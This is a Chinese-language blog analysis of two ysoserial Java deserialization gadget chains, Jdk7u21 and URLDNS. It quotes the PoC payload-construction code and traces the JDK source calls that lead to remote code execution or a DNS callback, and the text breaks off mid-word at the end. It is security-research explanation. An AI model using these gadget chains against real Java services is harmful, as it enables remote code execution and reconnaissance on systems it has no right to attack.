1. 程式人生 > >ysoserial分析【二】7u21和URLDNS

ysoserial分析【二】7u21和URLDNS

[TOC] # 7u21 7u21中利用了TemplatesImpl來執行命令,結合動態代理、AnnotationInvocationHandler、HashSet都成了gadget鏈。 先看一下呼叫棧,把ysoserial中的呼叫棧簡化了一下 ``` LinkedHashSet.readObject() LinkedHashSet.add() Proxy(Templates).equals() AnnotationInvocationHandler.invoke() AnnotationInvocationHandler.equalsImpl() Method.invoke() ... TemplatesImpl.getOutputProperties() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() 對_bytecodes屬性的值(例項的位元組碼)進行例項化 RCE ``` 其中關於`TemplatsImpl`類如何執行惡意程式碼的知識可以參考另一篇文章中對CommonsCollections2的分析,這裡不再贅述。只要知道這裡呼叫`TemplatesImpl.getOutputProperties()`可以執行惡意程式碼即可。 看一下ysoserial的poc ```java public Object getObject(final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command);//返回構造好的TemplatesImpl例項,例項的_bytecodes屬性的值是執行惡意語句類的位元組碼 String zeroHashCodeStr = "f5a5a608"; HashMap map = new HashMap(); map.put(zeroHashCodeStr, "foo"); InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").newInstance(Override.class, map);//map作為構造方法的第二個引數,map賦值給AnnotationInvocationHandler.membervalues屬性 Reflections.setFieldValue(tempHandler, "type", Templates.class); Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);//為AIH建立代理 LinkedHashSet set = new LinkedHashSet(); //LinkedHashSet父類是HashSet set.add(templates);//TemplatesImpl例項 set.add(proxy);//AnnotationInvocationHandler例項的代理,AnnotationInvocationHandler的membervalues是TemplatesImple例項 Reflections.setFieldValue(templates, "_auxClasses", null); Reflections.setFieldValue(templates, "_class", null); map.put(zeroHashCodeStr, templates); //繫結到AnnotationInvocationHandler的那個map中的再新增一組鍵值對,value是TemplatesImpl例項。但是由於map中的第一組鍵值對的鍵也是zeroHashCodeStr,因此這裡就是相當於把第一個鍵值對的value重新復賦值了。 return set;//返回LinkedHashSet例項,用於序列化 } ``` 總體來說就是返回一個`LinkedHashSet`例項,其中有兩個元素,第一個元素是`_bytecodes`屬性是惡意類位元組碼的TemplatesImpl例項。 第二個元素是AnnotationInvocationHandler的代理例項,這個AnnotationInvocationHandler例項在初始化時將一個HashMap例項傳入,HashMap的第一個元素的key是TemplatesImpl例項。 看一下AnnotationInvocationHandler的構造方法 ```java AnnotationInvocationHandler(Class var1, Map var2) { this.type = var1; this.memberValues = var2; } ``` 也就是把這個HashMap例項賦值給了`memberValues`屬性。 至此poc分析完畢,下面除錯一下反序列化觸發gadget鏈的流程。有感到模糊的地方可以參考以上的分析。 ## gadget鏈分析 首先由於poc return了`LinkedHashSet`例項用於序列化,因此這就是反序列化的入口。由於`LinkedHashSet`沒有實現`readObject()`方法,因此跟進其父類:`HashSet.readObject`。 ```java private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); int capacity = s.readInt(); float loadFactor = s.readFloat(); map = (((HashSet)this) instanceof LinkedHashSet ? new LinkedHashMap(capacity, loadFactor) : new HashMap(capacity, loadFactor));//建立一個新map // Read in size int size = s.readInt(); // Read in all elements in the proper order. for (int i=0; i e = table[i]; e != null; e = e.next) { Object k; if (e.hash == hash && ((k = e.key) == key || key.equals(k))) { V oldValue = e.value; e.value = value; e.recordAccess(this); return oldValue; } } modCount++; addEntry(hash, key, value, i); return null; } ``` 我們主要關注這裡對第一個引數`key`的操作,因為我們的payload就在TemplatsImple和Proxy例項中,因此只有對`key`做某些操作才可能會觸發我們的payload。 可以看到首先呼叫了`hash(key)`,跟進一下HashMap.hash() ```java final int hash(Object k) { ... h ^= k.hashCode(); h ^= (h >>> 20) ^ (h >>> 12); return h ^ (h >>> 7) ^ (h >>> 4); } ``` 可以發現,這裡呼叫了key的hashCode()方法。我們挨個看看兩個key:TemplatesImpl和Proxy是如何呼叫hashCode()的。 由於TemplatesImpl並沒有實現hashCode()方法,因此直接呼叫了基類Object.hashCode()。 ```java public native int hashCode(); ``` 這是個native方法,也就是java呼叫非java程式碼編寫的介面,這個hashCode()大概是通過計算物件的記憶體地址得到的。下面再看Proxy.hashCode(),由於動態代理的特性,呼叫Proxy的所有方法都會轉而呼叫繫結在Proxy上的`InvocationHandler`的Invoke()方法。回顧最上面建立Proxy時,我們繫結的`InvocationHandler`是AnnotationInvocationHandler例項,因此這裡會轉而呼叫`AnnotationInvocationHandler.invoke()`,跟進之後發現,最底層呼叫了`AnnotationInvocationHandler.hashCodeImple()`方法 ```java private int hashCodeImpl() { int var1 = 0; Entry var3; for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) { var3 = (Entry)var2.next(); } return var1; } ``` 這裡看的會比較繞,其實就是通過遍歷`this.memberValues.entrySet()`中的所有鍵值對,來計算其中的key和value的hash,全部加起來之後返回最後的hash值。這裡的`this.memberValues`屬性就是我們在構建poc時傳入的那個HashMap例項。 Proxy.hashCode()跟完了,沒有什麼危險操作。因此回到最開始的HashMap.put()中。 ```java public V put(K key, V value) { if (key == null) return putForNullKey(value); int hash = hash(key); int i = indexFor(hash, table.length); for (Entry e = table[i]; e != null; e = e.next) { Object k; if (e.hash == hash && ((k = e.key) == key || key.equals(k))) { V oldValue = e.value; e.value = value; e.recordAccess(this); return oldValue; } } modCount++; addEntry(hash, key, value, i); return null; } ``` `int hash = hash(key)`這一步已經跟蹤完了,繼續往下看。可以看到for迴圈的條件是`table[i] != null`,這裡的table在最後呼叫的addEntry()中進行了賦值,跟進一下 ```java void addEntry(int hash, K key, V value, int bucketIndex) { if ((size >= threshold) && (null != table[bucketIndex])) { resize(2 * table.length); hash = (null != key) ? hash(key) : 0; bucketIndex = indexFor(hash, table.length); } createEntry(hash, key, value, bucketIndex); } void createEntry(int hash, K key, V value, int bucketIndex) { Entry e = table[bucketIndex]; table[bucketIndex] = new Entry<>(hash, key, value, e); size++; } ``` 可以發現,這裡利用key、value和hash建立了一個Entry例項,然後新增到了table陣列中。回到上面的put()方法,由於for迴圈處的table中沒有資料,因此呼叫完addEntry()就直接return了。 接下來是第二次進入put()方法,這一次傳入的k引數是Proxy例項。`int hash = hash(key);`我們已經跟進過了,僅需往下看,到了for迴圈。由於在上一次table中已經有了資料,因此這裡會進入。然後就到了if條件 ```java for (Entry e = table[i]; e != null; e = e.next) { Object k; if (e.hash == hash && ((k = e.key) == key || key.equals(k))) { ... ``` 這裡的變數e就是在上次新增到table陣列中的那個Entry物件。`e.hash`就是初始化時傳入的hash的值,同理`e.key`也是初始化時傳入的key。如果這裡滿足`e.hash == hash`且`e.key != key`時,就會呼叫`key.equals(e.key)`。 這些條件後面會回過頭來說,先假設這些條件都可以滿足。就會導致呼叫`key.equals(e.key)`,這裡的`key`是`Proxy`,而`e.key`是上一次的`TemplatesImpl`例項。又由於呼叫了Proxy的方法,自動跳轉到`AnnotationInvocationHandler.invoke()`。跟進一下 ```java public Object invoke(Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) { return this.equalsImpl(var3[0]); } else { ... } } ``` var1是代理類例項,var2是呼叫的方法,就是`equals`的Method物件,var3是呼叫的引數,也就是`TemplatesImpl`例項。注意上面的第一個if條件,`equals`方法的引數是`Object`型別,因此總體判定條件為True,從而以`var3[0]`為引數,呼叫`this.equalsImpl()`,跟進 ```java private Boolean equalsImpl(Object var1) { if (var1 == this) { return true; } else if (!this.type.isInstance(var1)) { return false; } else { Method[] var2 = this.getMemberMethods(); int var3 = var2.length; for(int var4 = 0; var4 < var3; ++var4) { Method var5 = var2[var4]; String var6 = var5.getName(); Object var7 = this.memberValues.get(var6); Object var8 = null; AnnotationInvocationHandler var9 = this.asOneOfUs(var1); if (var9 != null) { var8 = var9.memberValues.get(var6); } else { try { var8 = var5.invoke(var1); } catch (InvocationTargetException var11) { return false; } catch (IllegalAccessException var12) { throw new AssertionError(var12); } } if (!memberValueEquals(var7, var8)) { return false; } } return true; } } ``` 這裡的var1就是`TemplatesImpl`例項,而`this.type`在建立poc時就已經定義了 ```java Reflections.setFieldValue(tempHandler, "type", Templates.class); ``` `TemplatesImpl`的正是實現了`Templates`介面,因此if條件中的`this.type.isInstance(var1)`是True,非True就是False,因此進入Else語句。首先呼叫了`this.getMemberMethods()`,跟進一下 ```java private Method[] getMemberMethods() { if (this.memberMethods == null) { this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction() { public Method[] run() { Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();//利用反射獲取this.type類/介面中宣告的所有方法 AccessibleObject.setAccessible(var1, true); return var1; } }); } return this.memberMethods; } ``` 由於this.type是`Templates`介面,因此看一下這個介面聲明瞭哪些方法。 ```java public interface Templates { Transformer newTransformer() throws TransformerConfigurationException; Properties getOutputProperties(); } ``` 只聲明瞭兩個方法:newTransformer()和getOutputProperties()。 回到`equalsImpl()`,獲取了this.type中宣告的方法之後返回給變數var2。然後進入一個for迴圈,對這些方法進行遍歷。先把方法名賦值給var6,跟進`this.asOneOfUs()` ```java private AnnotationInvocationHandler asOneOfUs(Object var1) { if (Proxy.isProxyClass(var1.getClass())) { ... } return null; } ``` 由於var1是`TemplatesImpl`例項,並不是Proxy,因此直接return null。回到上面,由於var9是null,因此進入else語句 ```java var8 = var5.invoke(var1); ``` var5是上面返回的兩個方法的其中一個,也就是newTransformer()和getOutputProperties(),var1是`TemplatesImpl`例項。這裡通過反射呼叫`TemplatesImpl`的var5方法。 本文一開始就說了,呼叫`TemplatesImpl.getOutputProperties()`會導致`TemplatesImpl._bytecodes`的值(含有執行惡意程式碼的類的位元組碼)進行例項化,因此這裡就是漏洞的觸發點了。 ## hashCode繞過 至此漏洞已經成功觸發,回到之前還有一個沒有完成的點,也就是HashMap.put()方法中的那個if條件。 ```java public V put(K key, V value) { ... int hash = hash(key); int i = indexFor(hash, table.length); for (Entry e = table[i]; e != null; e = e.next) { Object k; if (e.hash == hash && ((k = e.key) == key || key.equals(k))) { ... } ``` 也就是這裡的`e.hash == hash`和`e.key != key`。由於key是Proxy例項,e.key是TemplatesImpl例項,因此第二個條件好滿足,注意是第一個條件,如何保證兩者的hash相同? e.hash是由`TemplatesImpl.hashCode()`,由於TemplatesImpl沒有定義這個方法,因此呼叫的是Object的方法,而正如之前說的,`Object.hashCode()`是通過物件的記憶體地址來計算hash的。 hash變數是Proxy.hashCode()返回的,也就是之前分析的`AnnotationInvocationHandler.hashCodeImple()`,回顧一下 ```java private int hashCodeImpl() { int var1 = 0; Entry var3; for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) { var3 = (Entry)var2.next(); } return var1; } ``` 這裡的`this.memberValues`屬性就是我們在構建poc時傳入的那個HashMap例項,也就是`(new HashMap()).put("f5a5a608", templates)`,templates是TemplatesImpl例項。上面的hashCodeImple()主要是這句: ```java private int hashCodeImpl() { ... var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue()) ... return var1; } ``` 而key是"f5a5a608",value是TempIatesImpl例項,因此等價於 ```java 127 * "f5a5a608".hashCode() ^ memberValueHashCode(teamplates) ``` 跟進一下memberValueHashCode ```java private static int memberValueHashCode(Object var0) { Class var1 = var0.getClass(); if (!var1.isArray()) { return var0.hashCode(); ... ``` 由於引數是TemplatesImpl物件,因此直接返回了`TemplatesImpl.hashCode()`,前面已經說了,其TemplatesImpl並沒有重寫hashCode,因此呼叫Object.hashCode()根據物件的記憶體地址生成了hash。至此兩個hash的值已經計算完了。 ``` 第一個hash: TemplatesImpl例項.hashCode() 第二個hash 127 * "f5a5a608".hashCode() ^ TemplatesImpl例項.hashCode() ``` 這兩個TemplatesImpl例項的記憶體地址實際上是一樣的,因為在構建poc時,用的就是同一個TemplatesImpl例項: ```java public Object getObject(final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command);//TemplatesImpl例項 String zeroHashCodeStr = "f5a5a608"; HashMap map = new HashMap(); map.put(zeroHashCodeStr, "foo"); ... LinkedHashSet set = new LinkedHashSet(); set.add(templates);//插入TemplatesImpl例項 set.add(proxy);//Proxy代理 ... map.put(zeroHashCodeStr, templates);//插入TemplatesImpl例項 return set; } ``` 由於是同一個例項,因此記憶體地址相同,因此`Object.hashCode()`返回的hash也是相同的。回看一下兩個hash ``` 第一個hash: TemplatesImpl例項.hashCode() 第二個hash 127 * "f5a5a608".hashCode() ^ TemplatesImpl例項.hashCode() ``` 我們只需要計算一下`"f5a5a608".hashCode()`,這也是一個比較有意思的點,直接放到Debug中計算一下 ![](https://img2020.cnblogs.com/blog/1077935/202003/1077935-20200330020027041-369417244.png) 結果是0!這個值好像是一哥們通過一個while迴圈遍歷出來的。因此上面的第二個hash由於是127 * 0,因此也是0,從而兩個hash變成了: ``` 第一個hash: TemplatesImpl例項.hashCode() 第二個hash 0 ^ TemplatesImpl例項.hashCode() ``` ^是異或運算子,異或的規則是轉換成二進位制比較,相同為0,不同為1。由於是按二進位制的位進行比較,0只有一位,也就是說如果一個數的最低位與0相同,那一位則為0,否則則為1,這個結果正好與條件一樣,只有最低位是0時才會與0相同,從而返回0。如果最低位是1,與0不同,則返回1,也就是啥都沒變唄。所以說任何數與0異或,結果都還是原來的值,因此上面這兩個hash相等了。 至此幾個條件全部滿足,通過後面的`key.equals(k)`造成了程式碼執行。 因此整個的資料流大概是 ``` HashSet.readObject() HashMap.put() TemplatesImpl.hashCode() HashMap.put() Proxy.hashCode() AnnotationInvocationHandler.Invoke() AnnotationInvocationHandler.hashCodeImpl() Proxy.equals() AnnotationInvocationHandler.Invoke() AnnotationInvocationHandler.equalsImpl() TemplatesImpl.getOutputProperties() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() 對_bytecodes屬性的值(例項的位元組碼)進行例項化 RCE ``` ## 參考 [JDK7u21反序列化漏洞分析](https://www.freebuf.com/vuls/175754.html) [ysoserial payload分析](https://www.kingkk.com/2020/02/ysoserial-payload%E5%88%86%E6%9E%90/) # URLDNS 這個gadget會在反序列化時傳送一個DNS請求,僅依賴於JDK,因此適用範圍很廣,應該是隻要有反序列化入口就能用這個gadget打。 先看一下呼叫棧 ``` Gadget Chain: HashMap.readObject() HashMap.putVal() HashMap.hash() URL.hashCode() ``` 這裡就涉及到了URL類,這個類的`hashCode()`方法底層會呼叫`URLStreamHandler.hashCode()`傳送一個DNS請求。 ```java protected int hashCode(URL u) { int h = 0; // Generate the protocol part. String protocol = u.getProtocol(); if (protocol != null) h += protocol.hashCode(); // Generate the host part. InetAddress addr = getHostAddress(u); ... ``` 在反序列化時,HashMap會自動對鍵計算hash,其中就呼叫了鍵的hashCode()方法,因此我們可以利用HashMap來觸發`URL.hashCode()`: ```java private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { // Read in the threshold (ignored), loadfactor, and any hidden stuff s.defaultReadObject(); reinitialize(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) throw new InvalidObjectException("Illegal load factor: " + loadFactor); s.readInt(); // Read and ignore number of buckets int mappings = s.readInt(); // Read number of mappings (size) if (mappings < 0) throw new InvalidObjectException("Illegal mappings count: " + mappings); else if (mappings > 0) { // (if zero, use defaults) ... Node[] tab = (Node[])new Node[cap]; table = tab; // Read the keys and values, and put the mappings in the HashMap for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false);// } } } static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >
>> 16); } ``` 根據以上描述大概可以寫出這樣的poc ```java URLStreamHandler handler = new SilentURLStreamHandler(); HashMap ht = new HashMap(); URL u = new URL(null, url, handler); ht.put(u, url); return ht; static class SilentURLStreamHandler extends URLStreamHandler { protected URLConnection openConnection(URL u) throws IOException { return null; } protected synchronized InetAddress getHostAddress(URL u) { return null; } } ``` 這裡的`SilentURLStreamHandler`類重寫了`URLStreamHandler.getHostAddress()`,這樣可以保證在編譯gadget時不會發送DNS請求。 然後我們把上面poc返回的類進行序列化,在反序列化並沒有傳送DNS請求。除錯之後才發現,在反序列化呼叫`URL.hashCode()`由於已經存在`hashCode`且值不為-1,從而直接return掉了。 ![](https://img2020.cnblogs.com/blog/1077935/202003/1077935-20200330020036681-530567644.png) 因此我們需要保證`URL.hashCode`的值為null或-1。我們可以在序列化時利用反射來修改URL的屬性,如下 ```java URL u = new URL(null, url, handler); ht.put(u, url); Reflections.setFieldValue(u, "hashCode", -1); ``` 呼叫鏈如下 ``` HashMap.readObject() ->
HashMap.hash() -> URL.hashCode() -> URLStreamHandler.hashCode() -> URLStreamHandler.getHostAddre